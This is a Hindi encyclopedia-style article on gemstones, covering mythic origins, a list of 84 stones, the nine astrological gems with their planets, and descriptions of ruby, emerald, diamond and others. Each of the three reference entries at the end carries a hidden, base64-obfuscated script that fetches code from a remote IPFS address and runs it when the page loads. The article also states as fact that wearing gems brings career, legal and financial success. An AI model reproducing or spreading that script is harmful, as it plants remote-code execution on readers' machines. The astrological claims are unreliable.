रत्न

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रत्न
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क़ीमती पत्थर को रत्न कहा जाता है अपनी सुंदरता की वजह से यह क़ीमती होते है। रत्न आकर्षक खनिज का एक टुकड़ा होता है जो कटाई और पॉलिश करने के बाद गहने और अन्य अलंकरण बनाने के लिए प्रयोग किया जाता है। बहुत से रत्न ठोस खनिज के होते है, लेकिन कुछ नरम खनिज के भी होते है। रत्न अपनी चमक और अन्य भौतिक गुणों के सौंदर्य की वजह से गहने में उपयोग किया जाता है। ग्रेडिंग, काटने और पॉलिश से रत्नों को एक नया रुप और रंग दिया जाता है और इसी रूप और रंग की वजह से यह रत्न गहनों को और भी आकर्षक बनाते है। रत्न का रंग ही उसकी सबसे स्पष्ट और आकर्षक विशेषता है। रत्नों को गर्म कर के उसके रंग की स्पष्टता बढ़ाई जाती है।

रत्न कोई भी हो अपने आपमें प्रभावशाली होता है। मनुष्य अनादिकाल से ही रत्नों की तरफ आकर्षित रहा है, वर्तमान में भी है तथा भविष्य में भी रहेगा। रत्न शरीर की शोभा आभूषणों के रूप में तो बढ़ाते ही हैं और कुछ लोगों का मानना है की रत्न अपनी दैवीय शक्ति के प्रभाव के कारण रोगों का निवारण भी करते हैं। इन रत्नों से जहाँ स्वयं को सजाने-सँवारने की स्पर्धा लोगों में पाई जाती है वहीं संपन्नता के प्रतीक ये अनमोल रत्न अपने आकर्षण तथा उत्कृष्टता से सबको वशीभूत कर विश्व व्यापी से बखाने जाते हैं। रत्न और जवाहरात के नाम से जाने हुए ये खनिज पदार्थ विश्व की बहुमूल्य राशी हैं, जो युगों से अगणित मनों को मोहते हुए अपनी महत्ता बनाए हुए हैं।

इतिहास

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  • रत्नों का इतिहास अत्यंत ही प्राचीन है। भारत की तरह अन्य देशों में भी इनके जन्म सम्बंधी अनगिनत कथाएं प्रचलित हैं। हमारे देश में इस तरह की जो कथाएं विख्यात हैं, वे पुराणों से ली गई हैं। पुराणों में रत्नों की उत्पत्ति से सम्बंधित अनेक कथाएँ हैं। 'अग्निपुराण' के अनुसार - महाबली असुरराज वृत्रासुर ने देवलोक पर आक्रमण किया। तब भगवान विष्णु की सलाह पर इन्द्र ने महर्षि दधीचि से वज्र बनाने हेतु उनकी हड्डियों का दान मांगा। फिर इसी वज्र से देवताओं ने वृत्रासुर का संहार किया। अस्त्र (वज्र) निर्माण के समय दधीचि की अस्थियों के, जो सूक्ष्म अंश पृथ्वी पर गिरे, उनसे तमाम रत्नों की खानें बन गईं।
  • इसी तरह एक दूसरी कथा है। उसके अनुसार - समुद्र मंथन के समय जब अमृत कलश प्रकट हुआ तो असुर उस अमृत को लेकर भाग गए। देवताओं ने उनका पीछा किया। आपस में छीना-झपटी हुई और इस प्रक्रिया में अमृत की कुछ बूंदें छलक कर पृथ्वी पर जा गिरीं। कालांतर में अमृत की ये बूंदें अनगिनत रत्नों में परिवर्तित हो गईं।
  • एक तीसरी कथा राजा बलि की है जब वामन रूपी श्री विष्णु ने बलि से साढ़े तीन पन पृथ्वी मांगी तो उसने इसे देना स्वीकार कर लिया। तब भगवान विष्णु ने विराट स्वरूप धारण कर तीन पगों में तीनों लोकों को नाप लिया और आधे पग के लिए उसके शरीर की मांग की थी। राजा बलि ने अपना सम्पूर्ण शरीर वामन को समर्पित कर दिया। भगवान विष्णु के चरणस्पर्श से बलि रत्नमय और वज्रवत् हो गया। इसके बाद इन्द्र ने उसे अपने वज्र से पृथ्वी पर मार गिराया। पृथ्वी पर खंड- खंड होकर गिरते ही बलि के शरीर के सभी अंगों से अलग-अलग रंग, रूप व गुण के रत्न प्रकट हुए। भगवान शंकर ने उन रत्नों को अपने चार त्रिशूलों पर स्थापित करके फिर उन पर नौ ग्रहों एवं बाहर राशियों का प्रभुत्व स्थापित किया। इसके बाद उन्हेँ पृथ्वी पर चार दिशाऑं में गिरा दिया। फलस्वरूप पृथ्वी पर विभिन्न रत्नों की खानें उत्पन्न हुईं।

इन कथाओं को बारे में आप जो कहें- कपोल कल्पना, मिथक या कुछ और... लेकिन इस बात से आप इंकार नहीं कर सकते कि प्राचीनकाल में लोगों को इन रत्नों के रूप, गुण व उपयोग के बारे में कमोबेश ज्ञान था। केवल इतना ही नहीं, वे इन रत्नों का उत्पादन प्राकृतिक व कृत्रिम तौर पर करने लगे थे। इस सच्चाई को आज के आधुनिक इतिहासकार भी मानते हैं। शोध कार्य में लगे वैज्ञानिक भी इस बात से सहमत हैं।

रत्न वास्तव में खनिज पदार्थ हैं, जो प्रकृति की गोद में भिन्न-भिन्न रूपों में पाए जाते हैं। दरसल, ये भिन्न-भिन्न तत्वों के आपस में मिलने अर्थात् क्रिया-प्रतिक्रिया के फलस्वरूप बनते हैं। इन रत्नों में मुख्यतः कार्बन, बेरियम, बेरिलियम, एल्यूमीनियम, कैल्शियम, जस्ता, टिन, तांबा, हाइड्रोजन, लोहा, फॉस्फोरस, मैगनीज, गंधक, पोटैशियम, सोडियम, जिंकोनियम आदि तत्व उपस्थित होते हैं।

रत्न की परिभाषा

उपरोक्त विश्लेषण से अब हम रत्न को परिभाषित कर सकते हैं। निचोड़ के रूप में यह कहा जा सकता है कि जिस पत्थर से आभूषण की शोभा बढ़कर दुगुनी हो तथा उसकी लावण्यता आकर्षण पैदा करे, रत्न कहा जाएगा।

इस श्रेणी में हम मोती को ले सकते हैं। लेकिन यह रत्न दुर्लभ नहीं है। इसमें उतना टिकाऊपन भी नहीं है, क्योंकि मोती मुलायम होता है। इसके अलावा यह कोई पत्थर भी नहीं है। यह तो समुद्र में पाया जाने वाला एक पदार्थ है। फिर भी अपने सौंदर्य व लावण्यता के कारण इसे रत्नों की श्रेणी में रखा जाता है। इन रत्नों की ख़ूबसूरती यूँ तो कई बातों पर आधारित होती है, लेकिन इनका सौन्दर्य प्रकाश की किरणों के छलावा से अत्यधिक बढ़ जाता है।

प्रकाश कि किरणों का यह छलावा अजीबो-ग़रीब होता है। जब ये किरणें किसी रत्न पर पड़ती हैं तो कुछ रत्नों से टकराकर देखने वाले की आँखों की ओर लौट आती हैं। कुछ घुसकर पार चली जाती हैं और कुछ घुसकर फिर वापस लौटती हैं। इस तरह किरणों के पुंजों का एक मनभावन खेल आकर्षक पुंजों के रूप में दिखाई पड़ता है, जो बरबर मन को मोह लेता है। प्रकाश की यह किरण पुंज हमें स्वच्छ-धवल दिखाई पड़ती है, लेकिन इसकी सफ़ेदी में सात रंग होते हैं। इन्हीं सात रंगों का मिश्रण होता है यह सफ़ेदी।

दरअसल, जब कोई प्रकाश की किरण किसी रत्न के भीतर जाकर वापस लौटती है तो वह सात रंगों में बंट जाती है। ऐसी स्थिति में लगता है कि वह रत्न सतरंगी किरणों से ढकी हुई अदभुत वस्तु है। स्वाभाविकत: यही दृश्य मनुष्य को अपनी ओर आकृष्ट कर लेता है। इसी आकर्षण से मनुष्य में रत्न प्राप्ति की इच्छा जन्म लेती है। रत्नों के गुण को प्रकाशीय गुण कहते हैं।

रत्नों की उत्पत्ति

प्रकृति में खनिज रत्नों के अलावा जैविक व वानस्पतिक रत्न भी पाए जाते हैं, जो इनकी क्रिया-प्रतिक्रियाओं के फलस्वरूप उत्पन्न होते हैं। मोती एवं मूँगा जैविक रत्न हैं जबकि तृणमणि और जेड वानस्पतिक रत्न। खनिज रत्न खानों से प्राप्त होते हैं, लेकिन जैविक रत्न समुद्रों में पाए जाते हैं। वानस्पतिक रत्न पर्वतों से प्राप्त होता हैं। दूसरी ओर कृत्रिम रत्नों के निर्माण का प्रचलन भी प्राचीनकाल से है, लेकिन आज इस क्षेत्र में भारी उन्नति हुई है। वर्तमान में कृत्रिम रत्नों का उत्पादन व्यापक पैमाने पर हो रहा है। सच कहें तो प्राकृतिक व शुद्ध रत्नों की अपेक्षा कई गुना अधिक कृत्रिम रत्न अब बाजार में पट गए हैं, जिन्हें पहचानने के मामले में बड़े-बड़े अनुभवी जौहरी व रत्न विशेषज्ञ भी धोखा खा जाते हैं।

अंत में निष्कर्ष के तौर पर यह कहा जा सकता है कि प्रकृति की गोद में पड़े रत्नों का अस्तित्व मानव से पहले था, जो एक लम्बी प्रक्रिया के दौरान सामने आए। इन्होंने प्रकृति की गर्भ में रहकर न जाने कितने घात-प्रतिघात, उथल-पुथल, क्रिया-प्रतिक्रिया आदि सहे और खुद को ऐसा बना लिया कि उन पर इनका कोई असर ही न हो। फलतः ये मानव के लिए अत्यंत ही उपयोगी सिद्ध हुए। ज्योतिष के क्षेत्र में इनके उपयोग का मुक़ाबला कोई नहीं कर सकता-ऐसा कहना असंगत नहीं लगता। क्योंकि इनमें विभिन्न प्रकार की परिस्थितियों को सहने की अभूतपुर्व शक्ति निहित होती है।

ग्रन्थों के अनुसार

प्राचीन ग्रन्थों के अनुसार उच्च कोटि में 84 प्रकार के रत्न आते हैं। इनमें से बहुत से रत्न अब अप्राप्य हैं तथा बहुत से नए-नए रत्नों का आविष्कार भी हुआ है। रत्नों में मुख्यतः नौ ही रत्न ज़्यादा पहने जाते हैं। वर्तमान समय में प्राचीन ग्रंथों में वर्णित रत्नों की सूचियाँ प्रामाणिक नहीं रह गई हैं। रत्नों के नामों की सूची निम्न प्रकार है -

रत्न की सूची
अजूबा रत्न अहवा रत्न अबरी रत्न अमलिया रत्न अलेमानी रत्न उपल रत्न उदाऊ रत्न एक्वामेरीन रत्न
कर्पिशमणि रत्न कटैला रत्न कसौटी रत्न कांसला रत्न कुरण्ड रत्न क्राइसोबेरिल रत्न गुदड़ी रत्न गोदन्ती रत्न
गोमेद रत्न गौरी रत्न चकमक रत्न चन्द्रकांत रत्न चित्तो रत्न चुम्बक रत्न जजेमानी रत्न जबरजद्द रत्न
ज़हर मोहरा रत्न झरना रत्न टेढ़ी रत्न डूर रत्न तिलियर रत्न तुरमली रत्न तुरसावा रत्न तृणमणि रत्न
दाँतला रत्न दाने फिरग रत्न दारचना रत्न दुर्रेनजफ़ रत्न धुनला रत्न नरम रत्न नीलम रत्न नीलोपल रत्न
पनघन रत्न पारस रत्न पुखराज रत्न पन्ना रत्न पाइरोप रत्न फाते जहर रत्न फीरोजा रत्न बसरो रत्न
बांसी रत्न बेरुंज रत्न मकड़ी रत्न मरगज रत्न माक्षिक रत्न माणिक्य रत्न मासर मणि रत्न मूँगा रत्न
मूवेनजफ रत्न मोती रत्न रक्तमणि रत्न रक्ताश्म रत्न रातरतुआ रत्न लहसुनिया रत्न लालड़ी रत्न लास रत्न
लूधिया रत्न शेष मणि रत्न शैलमणि रत्न शोभामणि रत्न संगमरमर रत्न संगमूसा रत्न संगसितारा रत्न संगिया रत्न
संगेसिमाक रत्न संगेहदीद रत्न सिन्दूरिया रत्न सिफरी रत्न सींगली रत्न सीजरी रत्न सुनहला रत्न सुरमा रत्न
सूर्यकान्त रत्न सेलखड़ी रत्न सोनामक्खी रत्न स्पाइनेल रत्न स्फटिक रत्न हकीक रत्न हजरते ऊद रत्न हजरते बेर रत्न
हरितमणि रत्न हरितोपल रत्न हीरा रत्न

रत्नों की विशेषता

पुखराज के विभिन्न रंग
Colors of Topaz

यदि संक्षिप्त में रत्न की विशेषता जाहिर करनी है तो हम कह सकते हैं कि जिसमें अदभुत सौंदर्य व लावण्य हो, वह रत्न है। लेकिन रत्न की यह परिभाषा भी अधूरी है, क्योंकि केवल सौंदर्य व लावण्य ही किसी पम्थर को रत्न की संज्ञा से विभूषित नहीं करता। रत्न उसे ही कहेंगे, जिसका सौंदर्य व लावण्य अत्यधिक टिकाऊपन के गुण से भरपूर हो, अर्थात् जिसका सौंदर्य व लावण्य लम्बे समय तक बरक़रार रहे। साथ ही साथ स्थिर भी रहे।

इन दोनों गुणों के मेल से रत्नों में एक दिव्यता आती है, उसके प्रति एक स्वाभाविक श्रद्धा मन में उमड़ती है। इसके अलावा जिन पत्थरों को रत्न कहा जाता है, उनमें दो गुण और होते हैं। पहला गुण है, ऐसे पत्थरों का कम पाया जाना। इसी वजह से इन्हें दुर्लभ पत्थर भी कहा जाता है। अत: लोग इन्हें आदर और प्रमुखता देते हैं। दूसरा गुण है, जिस पत्थर का अधिक चलन हो, मांग हो और फ़ैशन हो, उसे भी रत्न की संज्ञा दी जाती है।

उदाहरण स्वरूप, सन 1920 से 1922 तक यूरोप व कुछ अन्य देशों में अम्बर अथवा तृणमणि की खूब मांग थी। वर्तमान में तारे की तरह चमकने वाले हीरे अथवा बारह किरणें छोड़ने वाले नीलम की मांग बहुत है। दरअसल, समय और बदलती अभिरुचि के अनुसार रत्नों की मांग भी परिवर्तित होती रहती है।

रत्न की अंगूठी या लॉकेट पहने से व्यापार में उन्नति, नौकरी में पदोन्नति, राजनीति में सफलता, कोर्ट-कचहरी में सफलता, शत्रु नाश, कर्ज से मुक्ति, वैवाहिक ‍तालमेल में बाधा को दूर कर अनुकूल बनाना, संतान कष्ट, विद्या में रुकावटें, विदेश, आर्थिक उन्नति आदि में सफल‍ता मिलती है। मानवीय उत्थान-पतन में इनकी अद्भुत भूमिका को आँकना आसान नहीं है; तभी तो भारतीय कोहनूर हीरा अपनी दमक एवं प्रभाव से विश्व स्तर पर श्रेष्ठता बनाए हुए है। वैसे तो रत्नों की संख्या 84 है, किंतु यहाँ पर हम केवल नव रत्नों के विषय में विवरण दे रहे हैं; क्योंकि ये नव रत्न नव ग्रहों के अनुरूप धारकों में विशेष प्रचलित हैं।

रत्नों के प्रकार एवं भेद

रत्नों को तीन श्रेणियों में बांटा गया है। इसका आधार इनके प्राप्ति स्थान व देशान्तर भिन्नता को बनाया गया है-

  • पाषाण रत्न - चट्टानों, शिलाखण्डों एवं कुछ नदियों से प्राप्त रत्न जैसे- हीरा, माणिक्य, नीलम, अकीक, इत्यादि पाषाण रत्न कहलाते हैं।
  • प्राणिज रत्न - जलीय जीवों व अन्य प्राणियों से प्राप्त रत्न जैसे- हाथी दांत, मोती सीप तथा नागमणि आदि इस श्रेणी में आते हैं।
  • वानस्पति रत्न - इसमें कहरुवा जैसे- अश्मीहूत रत्नों की गणना की जाती है।

रत्नों में रंगों का प्रभाव

रत्नों के बाह्म रूप को आभामंडित करने में रंगों का बहुत बड़ा योगदान है। अगर रंग-रूप में रत्न द्युतिमान न हों तो उनकी कोई कीसम नहीं रह जाती। कई प्रकार के रत्न असली-मूल्यवान रत्नों से मिलते-जुलते हैं, परन्तु रंग में ज़रा-सा भेद होने से उनकी असलियत खुल जाती है। रत्नों में रंग का प्रभाव रंगहनी डालने पर नज़र आता है। रंगों को सोख लेने तथा उसे प्रतिबिम्बित करने की क्षमता पर ही रत्न का रंग आधारित होता है।

सफ़ेद रंग इन्द्रधनुषी रंगों से बना है। जब यह रत्न पर पड़ता है तो स्पेक्ट्रम के कुछ रंग रत्न द्वारा सोख लिए जाते है। जो रंग रत्न द्वारा नहीं सोखा जाता, वह या तो रत्न से निकल जाता है या प्रतिबिम्बित होता है। प्रतिबिमित रंग ही रत्न को रंगीन आभा देता है। कुछ रत्न केवल एक ही रंग के होते हैं, जैसे-मैलाकाइट सदैव हरा होता है। यदि कोई रत्न लाल नज़र आता है तो उससे केवल लाल रंग ही प्रतिबिम्बित होता है, जबकि अन्य सभी रंग रत्न द्वारा आत्मसात् कर लिए जाते हैं।

नव रत्न

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सामान्य तौर पर ग्राहों-नक्षत्रों के अनुसार ज्योतिष में मात्र नवरत्नों को ही लिया जाता है। इन रत्नों के उपलब्ध न होने पर इनके उपरत्न या समान प्रभावकारी रत्नों का प्रयोग किया जाता है। भारतीय मान्यता के अनुसार कुल 84 रत्न पाए जाते हैं, जिनमें माणिक्य, हीरा, मोती, नीलम, पन्ना, मूँगा, गोमेद, तथा वैदूर्य (लहसुनिया) को नवरत्न माना गया है। ये रत्न ही समस्त सौरमण्डल के प्रतिनिधि माने जाते हैं। यहीं कारण है कि इन्हें धारण करने से शीघ्र फल की प्राप्ति होती है।

नव ग्रहों और रत्नों की स्थिति

ग्रह संबंधित रत्न उपयुक्त धातु लग्न साशि स्वामी ग्रह अनुकूल
सुर्य माणिक्य स्वर्ण मेष मंगल मूँगा
चंद्र मोती चाँदी वृषभ शुक्र हीरा
मंगल मूँगा स्वर्ण मिथुन बुध पन्ना
बुध पन्ना स्वर्ण,काँसा कर्क चंद्र मोती
बृहस्पति पुखराज चाँदी सिंह सूर्य माणिक्य
शुक्र हीरा चाँदी कन्या बुध पन्ना
शनि नीलम लोहा, सीसा तुला शुक्र हीरा
राहु गोमेद चाँदी, सोना, ताँबा, लोहा, काँसा वृश्चिक मंगल मूँगा
केतु लहसुनिया चाँदी, सोना, ताँबा, लोहा, काँसा धनु गुरु पुखराज
मकर शनि नीलम
कुंभ शनि नीलम
मीन गुरु पुखराज

माणिक्य

माणिक्य सूर्य ग्रह का रत्न है। माणिक्य को अंग्रेज़ी में 'रूबी' कहते हैं। यह गुलाबी की तरह गुलाबी सुर्ख श्याम वर्ण का एक बहुमूल्य रत्न है और यह काले रंग का भी पाया जाता है। इसे सूर्य-रत्न की संज्ञा दी गई है। अरबी में इसको 'लाल बदख्शां' कहते हैं। यह कुरुंदम समूह का रत्न है। गुलाबी रंग का माणिक्य श्रेष्ठ माना गया है।

पन्ना

पन्ना बुध ग्रह का रत्न है। पन्ना को अंग्रेज़ी में 'एमेराल्ड' कहते हैं जो कई रंगों में पाया जाता है। यह हरा रंग लिए सफ़ेद लोचदार या नीम की पत्ती जैसे रंग का पारदर्शक होता है। नवरत्न में पन्ना भी होता है। हरे रंग का पन्ना सर्वश्रेष्ठ माना जाता है। पन्ना अत्यंत नरम पत्थर होता है तथा अत्यंत मूल्यवान पत्थरों में से एक है। रंग, रूप, चमक, वजन, पारदर्शिता के अनुसार इसका मूल्य निर्धारित होता है।[1]

हीरा

हीरा शुक्र ग्रह का रत्न है। अंग्रेज़ी में हीरा को 'डायमंड' कहते हैं। हीरा एक प्रकार का बहुमूल्य रत्न है जो बहुत चमकदार और बहुत कठोर होता है। यह भी कई रंगों में पाया जाता है, जैसे- सफ़ेद, पीला, गुलाबी, नीला, लाल, काला आदि। इसे नौ रत्नों में सर्वश्रेष्ठ माना जाता है। हीरा रत्न अत्यन्त महंगा व दिखने में सुन्दर होता है। सफ़ेद हीरा सर्वोत्तम है और हीरा सभी प्रकार के रत्नों में श्रेष्ठ है। हीरे को हीरे के कणों के द्वारा पॉलिश करके खूबसूरत बनाया जाता है।[2]

नीलम

नीलम शनि ग्रह का रत्न है। नीलम का अंग्रेज़ी नाम 'सैफायर' है। नीलम रत्न गहरे नीले और हल्के नीले रंग का होता है। यह भी कई रंगों में पाया जाता है; मसलन- मोर की गर्दन जैसा, हल्का नीला, पीला आदि। मोर की गर्दन जैसे रंग वाला नीलम उत्तम श्रेणी का माना जाता है। नीलम पारदर्शी, चमकदार और लोचदार रत्न है। नवरत्न में नीलम भी होता है। शनि का रत्न नीलम एल्यूमीनियम और ऑक्सिजन के मेल से बनता है। इसे कुरुंदम समूह का रत्न माना जाता है।[3]

मोती

मोती चन्द्र ग्रह का रत्न है। मोती को अंग्रेज़ी में 'पर्ल' कहते हैं। मोती सफ़ेद, काला, आसमानी, पीला, लाला आदि कई रंगों में पाया जाता है। मोती समुद्र से सीपों से प्राप्त किया जाता है। मोती एक बहुमूल्य रत्न जो समुद्र की सीपी में से निकलता है और छूटा, गोल तथा सफेद होता है। मोती को उर्दू में मरवारीद और संस्कृत में मुक्ता कहते हैं।

लहसुनिया

लहसुनिया केतु ग्रह का रत्न है। लहसुनिया रत्न में बिल्लि की आँख की तरह का सूत होता है। इसमें पीलापन्, स्याही या सफेदी रंग की झाईं भी होती है। लहसुनिया रत्न को वैदूर्य भी कहा जाता है।

मूँगा

पुखराज की अंगूठी
Topaz Ring

मूँगा मंगल ग्रह का रत्न है। मूँगा को अंग्रेज़ी में 'कोरल' कहा जाता है, जो आमतौर पर सिंदूरी लाल रंग का होता है। मूँगा लाल, सिंदूर वर्ण, गुलाबी, सफेद और कृष्ण वर्ण में भी प्राप्य है। मूँगा का प्राप्ति स्थान समुद्र है। वास्तव में मूँगा एक किस्म की समुद्री जड़ है और मूँगा समुद्री जीवों के कठोर कंकालों से निर्मित एक प्रकार का निक्षेप है। मूँगा का दूसरा नाम प्रवाल भी है। इसे संस्कृत में विद्रुम और फ़ारसी में मरजां कहते हैं।

गोमेद

गोमेद राहु ग्रह का रत्न है। गोमेद का अंग्रेज़ी नाम 'जिरकॉन' है। सामान्यतः इसका रंग लाल धुएं के समान होता है। रक्त-श्याम और पीत आभायुक्त कत्थई रंग का गोमेद उत्त्म माना जाता है। नवरत्न में गोमेद भी होता है। गोमेद रत्न पारदर्शक होता है। गोमेद को संस्कृत में गोमेदक कहते हैं।

पुखराज

पुखराज गुरु ग्रह का रत्न है। पुखराज को अंग्रेज़ी में 'टोपाज' कह जाता हैं। पुखराज एक मूल्यवान रत्न है। पुखराज रत्न सभी रत्नों का राजा है। यह अमूनन पीला, सफ़ेद, तथा नीले रंगों का होता है। वैसे कहावत है कि फूलों के जितने रंग होते हैं, पुखराज भी उतने ही रंग के पाए जाते हैं। पुखराज रत्न एल्युमिनियम और फ्लोरीन सहित सिलिकेट खनिज होता है। संस्कृत भाषा में पुखराज को पुष्पराग कहा जाता है। अमलतास के फूलों की तरह पीले रंग का पुखराज सर्वश्रेष्ठ माना जाता है।


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टीका टिप्पणी और संदर्भ

  1. लाभकारी है पन्ना धारण करना (हिन्दी) वेबदुनिया। अभिगमन तिथि: 17 जुलाई, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. हीरा है शुक्र का रत्न (हिन्दी) नवभारत टाइम्स। अभिगमन तिथि: 19 जुलाई, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. नीलम है शनि का रत्न (हिन्दी) नवभारत टाइम्स। अभिगमन तिथि: 17 जुलाई, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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